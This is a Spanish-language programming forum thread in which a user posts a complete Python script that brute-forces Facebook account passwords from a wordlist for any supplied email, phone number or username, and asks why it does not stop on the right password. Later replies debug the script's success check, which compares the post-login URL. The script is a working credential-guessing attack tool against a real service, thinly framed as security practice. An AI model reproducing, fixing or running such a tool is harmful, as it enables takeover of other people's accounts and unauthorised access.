Python - hacer que se detenga cuando encuentre el pass adecuado de la cuenta

   
Vista:

hacer que se detenga cuando encuentre el pass adecuado de la cuenta

Publicado por henry (2 intervenciones) el 16/06/2015 21:12:44
Hola chicos como estan de antemano agradeciendoles por la ayuda que me puedan brindar, soy nuevo en la programacion de python y estoy haciendo practicas de seguridad, tengo este codigo que funciona bien pues se encarga de loguiarme en las web y lo hace perfectamente, lo unico es que no se como hacer para que me muestre o que se detenga cuando encuentre el pass adecuado de la cuenta.... ayuda porfavor

pongo el fragmento del codigo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import sys
import random
import mechanize
import cookielib
 
GHT = '''
'''
email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : "))
passwordlist = str(raw_input("Enter the name of the password list file : "))
 
useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
 
 
 
login = 'https://www.facebook.com/login.php?login_attempt=1'
def attack(password):
 
  try:
     sys.stdout.write("\r[*] trying %s " % password)
     sys.stdout.flush()
     br.addheaders = [('User-agent', random.choice(useragents))]
     site = br.open(login)
     br.select_form(nr=0)
 
 
     ##Facebook
     br.form['email'] =email
     br.form['pass'] = password
     br.submit()
     log = br.geturl()
     if log != login:
        print "\n\n\n [*] Password found .. !!"
        print "\n [*] Password : %s\n" % (password)
        sys.exit(1)
  except KeyboardInterrupt:
        print "\n[*] Exiting program .. "
        sys.exit(1)
 
def search():
    global password
    for password in passwords:
        attack(password.replace("\n",""))
 
 
 
def check():
 
    global br
    global passwords
    try:
       br = mechanize.Browser()
       cj = cookielib.LWPCookieJar()
       br.set_handle_robots(False)
       br.set_handle_equiv(True)
       br.set_handle_referer(True)
       br.set_handle_redirect(True)
       br.set_cookiejar(cj)
       br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
    except KeyboardInterrupt:
       print "\n[*] Exiting program ..\n"
       sys.exit(1)
    try:
       list = open(passwordlist, "r")
       passwords = list.readlines()
       k = 0
       while k < len(passwords):
          passwords[k] = passwords[k].strip()
          k += 1
    except IOError:
        print "\n [*] Error: check your password list path \n"
        sys.exit(1)
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
    try:
        print GHT
        print " [*] Account to crack : %s" % (email)
        print " [*] Loaded :" , len(passwords), "passwords"
        print " [*] Cracking, please wait ..."
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
    try:
        search()
        attack(password)
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
 
if __name__ == '__main__':
    check()


Lo estoy probando con mi cuenta el logra loguiarse pues me llega la notificacion a mi movil, pero no me muestra con cual fue el pass que lo hizo, yo ubico mi pass de antepenultimo en una lista ...pero este pasa con el resto no se detiene al detectarlo...

espero haberme explicado bien
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder
Imágen de perfil de Xavi

hacer que se detenga cuando encuentre el pass adecuado de la cuenta

Publicado por Xavi (10 intervenciones) el 17/06/2015 08:06:28
Hola Henry, interesante código...;)

Viendo el código, en el momento que consiga hacer login, te informa que ha accedido, te muestra la contraseña que es y finaliza el programa.
Es desde la linea 31 a la 34.
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

hacer que se detenga cuando encuentre el pass adecuado de la cuenta

Publicado por henry (2 intervenciones) el 17/06/2015 20:49:11
Hola Xavi gracias por contestar, si, en el código eso esta programado, el problema es que no ejecuta esa orden, pasa sobre la contraseña y no la muestra como si no hubiese coincidencia y no se porque?, eso es mi duda..... nuevamente gracias por responder
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

hacer que se detenga cuando encuentre el pass adecuado de la cuenta

Publicado por unknown (1 intervención) el 12/07/2016 07:00:01
el problema es la comparacion en la linea 30

dice si la url es diferente a url
entonce es es la pass

entonces si te vas a face y colocas tu usuario y pass erronea te das cuenta que la url cambia

entoncep lo que hace el programa es decirte que es valida la primera clave que provo por lo cual nunca recorrio toda la tabla de password
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar